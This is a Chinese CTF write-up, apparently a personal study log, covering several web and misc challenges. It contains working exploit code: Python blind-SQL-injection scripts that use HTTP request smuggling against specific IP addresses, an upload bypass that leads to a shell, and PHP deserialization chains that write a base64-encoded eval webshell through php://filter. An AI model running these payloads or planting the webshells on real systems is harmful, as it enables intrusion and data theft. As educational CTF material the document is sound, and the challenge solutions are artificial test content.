ESI web学习记录
Ezbypass
解出
放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag
Ezupload
没解出
登陆页面查看源代码发现,备份文件泄露。vim -r恢复

得到源码
<?php
#error_reporting(0);
session_start();
include "config.php";
$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
$sql = "select password from user where name=?";
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($dpasswd);
$stmt->fetch();
if ($dpasswd === $password){
$_SESSION['login'] = 1;
header("Location: /upload.php");
}else{
die("login failed");
}
$stmt->close();
}
}else{
header("Location: /index.php");
}
$mysqli->close();
当时想了,并且也找了很久如何绕过预编译,看WP发现如何绕过。重点在这里
$dpasswd===$password

判断select结果的$dpasswd与post输入的$password是否相等,在此可以绕过。
可以随便传入不存在的username,不传入password字段,导致select结果为null,并且$password也为null,因此null===null,等式成立绕过。
burp抓包删除$password字段,放包进入upload.php

源代码查看,指定了.jpg,.jpeg,png

直接审查元素删除掉,然后上传php提示上传失败。只能上传jpg。尝试上传.htaccess结合jpg文件包含
文件上传.htaccess就不用多说了老套路。直接尝试getshell

现在好多都是通过readflag去获得flag

感谢环境一直没有关,懒了两天,补上这些复现。第一步真的想了很久不知道怎么绕过预编译,看了WP恍然大悟。发散性思维太差了。😔
Ezwaf
赛中没看,赛后尝试作答,没有解出。
然后看了WP,发现http走私。。。我傻了,easy_calc刚用过这个。很可惜,没有好好的解体和发现题目的涵义。Ezwaf
源代码:
<?php
include "config.php";
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
function escape($arr)
{
global $mysqli;
$newarr = array();
foreach($arr as $key=>$val)
{
if (!is_array($val))
{
$newarr[$key] = mysqli_real_escape_string($mysqli, $val);
}
}
return $newarr;
}
$_GET= escape($_GET);
if (isset($_GET['name']))
{
$name = $_GET['name'];
mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
$age = $_GET['age'];
mysqli_query($mysqli, "select name from user where age=$age");
}
从源代码可以发现,存在mysqli_real_escape_string过滤函数

虽然name是字符型有单引号包括,可能被过滤,但是age确实数字型注入,可以实现注入。
从源代码可以发现,并没有回显,所以这道题应该是用时间盲注来解题,传入
age=if(1,sleep(5),0)
发现直接返回403Forbidden

到这里后一脸懵逼???wtf,包含的也是config.php,并不应该是waf啊,看了WP用的是http走私,才发现可能是有一层代理服务器。可以通过http走私协议绕过。
两个content-length绕过走起,测试成功,确实能绕过waf。(暴捶自己一顿,之前还通过easy_calc学习了http走私)

或者Transfer-Encoding: chunked绕过

wp中说payload:age=1+and+sleep(5)无法成功,尝试发现确实不行,改成or后可以了。
那问题来了,如何编写带有http走私的wp,requests请求设置'Content-length':' '即可。
测试database

tables

columns

flag
盲注了半年也没出来/(ㄒoㄒ)/~~,估计长度不止10,加长度为15,爆出完整列明flag_32122
20长度也不够啊,修改起始位置


这里附上两个wp中的脚本,其实一个用socket直接传输http请求,另一个是常规脚本
import socket
import string
url = "111.186.57.43"
port = 10601
flag = ""
for i in range(1,50):
for j in string.printable:
s = socket.socket()
s.connect((url, port))
s.settimeout(3)
data = "GET /?age=0 or ascii(substr((select flag_32122 from flag_xdd),".replace(" ","%20")+str(i)+",1))="+str(ord(j))+" and sleep(10) HTTP/1.1\r\nHost:111.186.57.43:10601\r\nConnection:close\r\nContent-Length:0\r\nContent-Length:0\r\n\r\n".replace(" ",'%20')
print data
s.send(data)
try:
s.recv(1024)
s.close()
except:
flag = flag + chr(j)
print flag
s.close()
break
import requests
import urllib
flag = ''
pos = 1
url = 'http://111.186.57.61:10601/?age='
while True :
for i in range(0,128):
try:
# res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
# flag_xdd
# res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f786464) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
# flag_32122
res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(flag_32122) from flag_xdd ) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
except Exception ,e:
flag +=chr(i)
print flag
break
pos = pos+1
print "oops"
Ezpop
没解出
题目源码:
<?php error_reporting(0); class A{ protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (! $this->autosave) { $this->save(); } } } class B{ protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool { $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
这道题涉及到死亡exit的知识,P牛的文章中有详细介绍。
file_put_contents
php://filter/write=convert.base64-decode/resource 以字符base64解密写入 php://filter/write=string.strip_tags/resource 以去除字符串标签写入 php://filter/write=string.rot13/resource 以字符rot13编码写入 用此法绕过的话,需要php中不支持短标签,php7.x中不支持短标签
php://filter/write=string.strip_tags|convert.base64-decode/resource 去除标签并且base64解密
本地实验string.strip_tags

本地实验string.strip_tags|convert.base64-decode


可以去掉填充的两个==
其他的不再实验。从这道题学到了很多知识
从大佬的WP中收集了两个exp
来自https://zhzhdoai.github.io/
<?php
error_reporting(0);
class A{
protected $store;
protected $key;
protected $expire;
public $complete;
public $cache;
public function __construct()
{
$this->key = ".php";
$this->store = (new B());
$this->expire = 6666;
$this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";
$this->cache=["1"];
}
}
class B
{
public $options;
public function __construct()
{
$this->options['prefix']='php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1';
$this->options['serialize']='serialize';
$this->options['data_compress']=0;
}
}
echo urlencode(serialize((new a())));
来自https://www.jianshu.com/p/763427ea0e4b
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = '1.php';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>
第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。
<?php
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = '111';
$contents = array($path=>$object);
#var_dump($contents);
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
$complete='2';
echo json_encode([$contents, $complete]);
$strings='aaa';
$data = $strings."<?php\n//" . sprintf('%012d', 11) . "\n exit();?>\n"."PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+";
echo base64_decode($data);
?>



第一个脚本不需要计算字数,通过
php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1
用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize

解释下为什么可以,因为base64解码默认的解码范围如下

所以: " [ ] , 都不在解码范围.所以直接被忽略
s:51:"[["1"],"IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+"]";
能解码的部分就为
s511IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+
前面的s511四个字节为一组,解码为..u

因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了
string.strip_tags|convert.base64-decode/resource
因此<??>标签中的内容直接被string.strip_tags去除
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
注意这里,不要认为\n中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。

现在环境还开着,可以尝试去复现。
补充:
序列化注意事项 public: 可以class内部调用,可以实例化调用。 private: 可以class内部调用,实例化调用报错。 protected: 可以class内部调用,实例化调用报错
base64筛选
<?php
$yunying = preg_replace('/[^a-z0-9A-Z+\/]/s', '', $yunying);
echo base64_decode($yunying);
twocats
学习下misc,这道题涉及到盲水印
两张图片,不是比较异或,就是盲水印

直接用BWM脚本解密

然后人眼识别。。不知道怎么提取。
有的可能不是脚本加密,那就用工具解密
misc2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from flask import request
from flask import Flask
secret = open('/flag', 'rb')
os.remove('/flag')
app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'
@app.route('/')
def index():
return open(__file__).read()
@app.route("/r", methods=['POST'])
def r():
data = request.form["data"]
if os.path.exists(data):
return open(data).read()
return ''
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
赛后复现misc,总感觉这是猜路径,找不到后,看了下WP,发现是用了/dev/fd/3 然后去百度了一下
/dev/fd是Linux的一个特性,其中/dev/fd/0是指标准输入(STDIN),/dev/fd/1是指标准输出(STDOUT)/dev/fd/2是指错误输出(STDERR),每个进程都有自己的/dev/fd/
貌似是/dev/fd/3是指向当前进程有关的东西
http://www.kbase101.com/question/32015.html
在该ls示例中,我可以想象描述符3是用于读取文件系统的描述符。一些open()支持文件描述符生成的C命令(例如)保证返回“编号最小的未使用文件描述符”(POSIX-注意,低级open()实际上不是标准C的一部分)。因此,它们在关闭后会被回收(如果您反复打开和关闭不同的文件,您将一次又一次得到3作为fd)。
misc1
编码切换为EBCDIC
学习资料:
https://zhzhdoai.github.io/2019/11/21/2019-%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E6%8C%91%E6%88%98%E8%B5%9Bweb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3 https://www.jianshu.com/p/763427ea0e4b https://blog.xiafeng2333.top/ctf-15/
http://www.zjun.info/2019/11/21/EIS-2019-CTF%E9%83%A8%E5%88%86WP/

浙公网安备 33010602011771号